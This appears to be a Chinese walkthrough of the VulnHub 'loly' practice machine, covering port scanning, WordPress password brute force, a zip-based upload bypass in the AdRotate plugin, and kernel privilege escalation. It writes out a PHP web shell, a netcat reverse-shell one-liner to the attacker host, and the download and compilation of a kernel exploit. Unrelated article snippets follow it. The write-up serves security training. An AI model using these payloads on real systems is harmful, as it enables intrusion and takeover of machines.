vulnhub靶场之loly靶机

前言

  • 挑战攻克该靶机30分钟

靶机:loly靶机,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.6

靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式

文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,或者通过网盘链接下载 https://pan.quark.cn/s/a795145e3869

主机发现

也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。

使用arp-scan -l或者netdiscovery -r 192.168.10.1/24

当然也可以使用nmap等工具进行

arp-scan -l

信息收集

使用nmap扫描目标端口等信息

首先扫描目标的tcp端口的开放情况

nmap -sT --min-rate=1000 192.168.10.11 -p- -oA nmap-tcp

再扫描udp端口的开放情况

nmap -sU --min-rate=1000 192.168.10.11 --top-ports 20 -oA nmap-udp

可以看到明确开放的udp端口没有,所以下面对tcp端口进行一个筛选,这里因为22端口并不是明确closed的,是filtered的,所以也要包括在内

ports=`grep /tcp nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`

进一步对这些端口进行服务、系统等探测

nmap -sV -O -sC 192.168.10.11 -p $ports --min-rate=1000

再使用nmap的漏洞检测脚本对这些端口进行探测

nmap --script=vuln 192.168.10.11 -p $ports

枚举出的目录,可能是wordpress的CMS

网站信息探测

访问80端口的界面,是nginx安装后的默认界面,页面源代码没有信息泄露

使用whatweb或者浏览器插件wappalyzer进行查看相关配置

whatweb http://192.168.10.11 -v

使用gobuster等目录爆破工具进行测试

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 404 -x php,html,txt,md,zip

访问wordpress,可以看到,很是杂乱,这个不用说了吧,一般可能都需要绑定域名了

随便点击一个链接,可以发现指向的域名loly.lc,或者自己去查看页面源代码

绑定域名,采用静态文件hosts,计算机会优先去查看这个文件中的解析对应。

linux系统中,文件在/etc/hostswindows系统,文件在C:\Windows\System32\Drivers\etc\hosts

这里使用的是kali,所以修改/etc/hosts文件

再次访问,可以发现,解析成功

wordpress探测

使用whatweb进一步探测,发现wordpress的版本信息

whatweb http://192.168.10.11/wordpress -v

那么下一步,使用针对wordpress的工具wpscan

wpscan --url http://192.168.10.11/wordpress -e u

枚举出用户,进一步进行密码破解

wpscan --url http://192.168.10.11/wordpress -U loly -P /usr/share/wordlists/rockyou.txt

用户名loly和密码fernando

文件上传

在登录后,经过多方测试,最终在插件AdRotate中,找到一个文件上传的测试点,并且在寻找的时候,也发现在相关设置中有文件上传后的地址,很清晰了,只是文件上传的种种需要多方测试

首先就是简单的测试:

  1. 直接上传php,不行
  2. 修改后缀名再上传,不行。
  3. 后缀名出以shell.php.jpg,生成图片马。不行
  4. 双写php以及大小写php,不行
  5. 更改mime类型,不行
  6. 以图片的形式上传,不解析为php
  7. 无法上传.htaccess文件,无法修改解析

根据上面,测试其他的几种,也就是js,html,zip

  1. html类型,不解析为php,所以不行
  2. js类型,显示源代码,也不解析,不行
  3. zip压缩后的文件,可以,并成功解析

只是上传为zip文件,访问的时候以php访问。如

info.php.zip,访问的时候为info.php

这里注意一点,采用linxu中的zip压缩工具,不要使用windows压缩,不一样

echo "<?php phpinfo();?>" > info.phpzip -r -o info.php.zip info.php 

我也测试过,把压缩包的数据进行抓包然后截取,但是不行。所以我放弃使用windows上传这个脚本了

那么编写一个代码,以可以命令执行

echo '<?php system($_GET["loly"]);?>' > shell.php
zip -r -o shell.php.zip shell.php

上传后,访问即可,构造shell.php?loly=ls,即可发现

构造反弹shell代码,首先在kali开启监听,然后再使用下面代码

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.10.6 9999 >/tmp/f
#进行url编码
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%20192.168.10.6%209999%20%3E%2Ftmp%2Ff

靶机内信息收集

既然有wordpress,那么就一定要看看其配置文件wp-config.php

获取用户名wordpress和密码lolyisabeautifulgirl

查看网络状态

ss -antulp

发现3306开放,可能就是mysql,以前面的登录测试,登录之前,先测试安装什么版本的python

dpkg -l | grep python
#加一层shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

数据库中只有一个用户名和密码,与前面枚举出的一样

继续探测信息,首先知道两个密码。fernandololyisabeautifulgirl

查看当前系统用户,发现只有loly一个

使用find寻找具有SUID权限的文件,发现sudosu

find / -perm -4000 -print 2>/dev/null

sudo -l测试,需要密码

尝试使用两个密码,测试loly,是否存在多用的情况

成功了,以lolyisabeautifulgirl登录

再次使用sudo -l,没有文件给loly使用。

收集内核版本等信息

uname -a
uname -r
cat /etc/issue
cat /etc/*release
lsb_release

当然,后面其实还有脚本上传进行检测,不过因为这里搜索到合适的提权脚本,并且可以使用,所以不上传脚本了

提权

使用gcc -v确定靶机安装了gcc

使用searchsploit搜索到可利用的漏洞

searchsploit 4.4.0-31 ubuntu Privilege

根据内核版本和系统信息,这些都是可以测试的,先测试第二个45010.c

#把脚本下载到当前目录下
searchsploit -m 45010.c

然后查看脚本

kali使用python开启监听,然后靶机使用wget下载即可

#kali执行
python3 -m http.server 1234#靶机执行
wget http://192.168.10.6:1234/45010.c

这里在loly的主目录,因为他有一个脚本,可能会定期清理/tmp目录,我也不想再更改脚本,省时间

靶机执行脚本中编译和执行即可

gcc 45010.c -o exp
chmod +x exp
./exp

对应其他的脚本能否提权,自己去试试,一定要动手测试,积累经验

总结

该靶机的考察主要就是从web到内网

  1. 网站主流CMS的识别
  2. wpscan的使用,当然爆破也可以使用其他工具,如burp等,不过这个工具是专门针对wordpress,所以,建议使用
  3. 文件上传如何绕过检测,这里应该是利用对于压缩包的一个解析漏洞,导致执行了php代码
  4. wordpress的配置文件要清楚
  5. 靶机内的信息收集,内核等信息

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/72666.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Deepseek API+Python测试用例一键生成与导出-V1.0.2【实现需求文档图片识别与用例生成自动化】

在测试工作中&#xff0c;需求文档中的图片&#xff08;如界面设计图、流程图&#xff09;往往是测试用例生成的重要参考。然而&#xff0c;手动提取图片并识别内容不仅耗时&#xff0c;还容易出错。本文将通过一个自研小工具&#xff0c;结合 PaddleOCR 和大模型&#xff0c;自…

Excel(函数篇):COUNTIF与CONUTIFS函数、SUMIF与SUMIFS函数、ROUND函数、MATCH与INDEX函数、混合引用与条件格式

目录 COUNTIF和COUNTIFS函数COUNTIF函数COUNTIFS函数SUMIF和SUMIFS函数SUMIF函数SUMIFS函数SUMIFS函数与控件实现动态年月汇总ROUND、ROUNDUP、ROUNDDOWN函数单元格混合引用条件格式与公式,标记整行数据MATCH和INDEX函数COUNTIF和COUNTIFS函数 COUNTIF函数 统计下“苏州”出现…

上位机数据可视化:使用QtCharts绘制波形图

工程配置 CMake文件 find_package(Qt5 COMPONENTS Charts REQUIRED)target_link_libraries(zhd-desktop PRIVATE Qt5::Charts)包含头文件以及名称空间&#xff08;这个很重要&#xff0c;没有包含名称空间编译器会提示找不到相关的类型&#xff09; #include <QtCharts&g…

S32K144入门笔记(十三):LPIT的API函数解读

目录 1. SDK中的函数 2. API函数的释义 2.1 获取默认参数 2.2 初始化 2.3 启动与停止 2.4 计数值的设置于读取 2.5 中断API 1. SDK中的函数 在使用SDK的非抽象驱动函数时&#xff0c;函数的定义与声明在文件lpit_driver.c和lpit_driver.h中&#xff0c;一共有19个函数&a…

CSS - Pseudo-classes(伪类选择器)

目录 一、介绍二、常用种类三、案例实现案例一&#xff1a;a标签使用link/visited/hover/active案例二&#xff1a;表单元素使用focus/disabled案例三、通过其余伪类实现元素灵活选中 一、介绍 CSS 伪类&#xff08;Pseudo-classes&#xff09; 用于定义元素的特定状态或结构位…

http proxy的原理是什么

Http代理的原理 代理服务器会自动提取请求数据包中的HTTP请求数据发送给服务端&#xff0c;并将服务端的HTTP响应数据转发给发送请求的客户端&#xff0c;HTTP代理服务器使用的端口通常是8080。 对于Web客户端来说&#xff0c;代理扮演的服务器角色&#xff0c;接收请求&…

Ubuntu22.04虚拟机里安装Yolov8流程

1. 安装pytorch sudo apt install nvidia-cuda-toolkit nvcc --version # 官方适配地址&#xff1a;https://download.pytorch.org/whl/torch/import torch print(torch.__version__) print(torch.cuda.is_available())2. 安装环境 # cuDNN 安装&#xff1a;https://develop…

神经网络微调技术解析

神经网络微调技术 微调&#xff08;Fine-tuning&#xff09;是迁移学习的核心技术&#xff0c;通过在预训练模型基础上调整参数&#xff0c;使其适应特定任务或领域。以下从传统方法、参数高效微调&#xff08;PEFT&#xff09;、新兴技术三个维度展开&#xff0c;覆盖主流技术…

Spring 声明式事务管理

Spring 编程的方式实现事务管理&#xff0c;这样太过麻烦&#xff0c;需要在每个方法上面加上相应的事务处理操作&#xff0c;声明式事务处理能够很好的解决这个问题&#xff0c;比如通过tx命名空间&#xff0c;这样只需要配置就可以检测到相关的方法&#xff0c;或者是通过tra…

电机控制常见面试问题(十五)

文章目录 一、电机气隙二、电气时间三.电机三环控制详解四.驱动板跳线意义五.电机开环自检 一、电机气隙 电机气隙是定子和转子之间的空隙&#xff0c;防止钉子转子运转时物理接触&#xff0c;此外&#xff0c;气隙是磁路的重要环节&#xff0c;磁场需通过气隙传递能量&#x…

代码随想录算法训练营第六十五天| 图论10

Bellman_ford 队列优化算法&#xff08;又名SPFA&#xff09; 代码随想录 import collectionsdef main():n, m map(int, input().strip().split())edges [[] for _ in range(n 1)]for _ in range(m):src, dest, weight map(int, input().strip().split())edges[src].append…

Chat2DB:让数据库管理像聊天一样简单

数据库工具的痛点与破局 在数据爆炸的时代&#xff0c;数据库管理工具已成为企业高效运营的刚需。然而&#xff0c;传统工具如Navicat、DBeaver虽功能强大&#xff0c;却让非技术人员和SQL新手望而却步。复杂的界面、繁琐的手动操作、晦涩的语法规则&#xff0c;成为横亘在数据…

Navicat for Snowflake 震撼首发,激活数据仓库管理全新动能

近日&#xff0c;Navicat 家族迎来了一位全新成员 — Navicat for Snowflake。Snowflake 是一款基于云架构的现代数据仓库解决方案&#xff0c;以其弹性扩展、高性能和易用性著称。这次首发的Navicat for Snowflake 专为简化 Snowflake 数据库管理任务而精心打造。它凭借其直观…

【项目合集】智能语音小车-微信小程序控制

功能需求&#xff1a; 车子检测环境温度、湿度&#xff0c;上报 APP、WEB 端显示实时数据可通过 APP 控制小车前进、左转、右转可通过语音控制小车前进后退车上一个 LED 灯&#xff0c;可通过 WEB、小程序控制在 APP、WEB 上均可注册登录 硬件清单 硬件 功能 备注 ESP32 …

人工智能与人的智能,改变一生的思维模型分享【4】决策树

决策树&#xff08; DECISION TREE&#xff09; 一般由一个决策图和若干可能的结果组成。是一种通过罗列解题的关键步骤以及各步骤发生的条件和结果&#xff0c;由此来创建到达目标的规划。 我们很早就知道有一个方法&#xff0c;叫做当你苦闷、纠结的时候&#xff0c;把你的所…

利用余弦相似度在大量文章中找出抄袭的文章

我前面的2篇文章分别讲了如果利用余弦相似度来判断2篇文章的相似度&#xff0c;来确定文章是否存在抄袭&#xff0c;和余弦相似度的原理&#xff0c;即余弦相似度到底是怎么来判断文章的相似性高低的等等。这一篇再说下&#xff0c;对于文章字数多和大量文章时&#xff0c;如果…

设计模式-对象创建

对象创建 前言1. Factory Method1.1 模式介绍1.2 模式代码1.2.1 问题代码1.2.2 重构代码 1.3 模式类图1.4 要点总结 2. Abstract Factory2.1 模式介绍2.2 模式代码2.2.1 问题代码2.2.2 重构代码 2.3 模式类图2.4 要点总结 3. Prototype3.1 模式介绍3.2 模式代码3.3 模式类图3.4…

SQLAlchemy系列教程:批量插入数据

高效地批量插入数据对于应用程序的性能至关重要。SQLAlchemy为批处理操作提供了几种机制&#xff0c;可以最大限度地减少开销并加快数据库事务时间。在本指南中&#xff0c;我们将探讨如何使用SQLAlchemy执行批量插入&#xff0c;包括从基础技术到高级技术。 搭建环境 在开始之…

V2X验证

1. 标准和规范验证 欧洲对 DSRC 和 V2X 系统有一系列的标准和规范,主要由 ETSI (European Telecommunications Standards Institute) 和 IEEE 等组织制定。验证通常包括以下标准和规范: ETSI EN 302 571:这是DSRC在欧洲的主要标准,规定了DSRC系统的技术要求和操作条件。ET…

openEuler系统迁移 Docker 数据目录到 /home,解决Docker 临时文件占用大问题

根据错误信息 write /var/lib/docker/tmp/...: no space left on device&#xff0c;问题的根源是 根分区&#xff08;/&#xff09;的磁盘空间不足&#xff0c;而非 /home 分区的问题。以下是详细解释和解决方案&#xff1a; 问题原因分析 Docker 临时文件占用根分区空间&…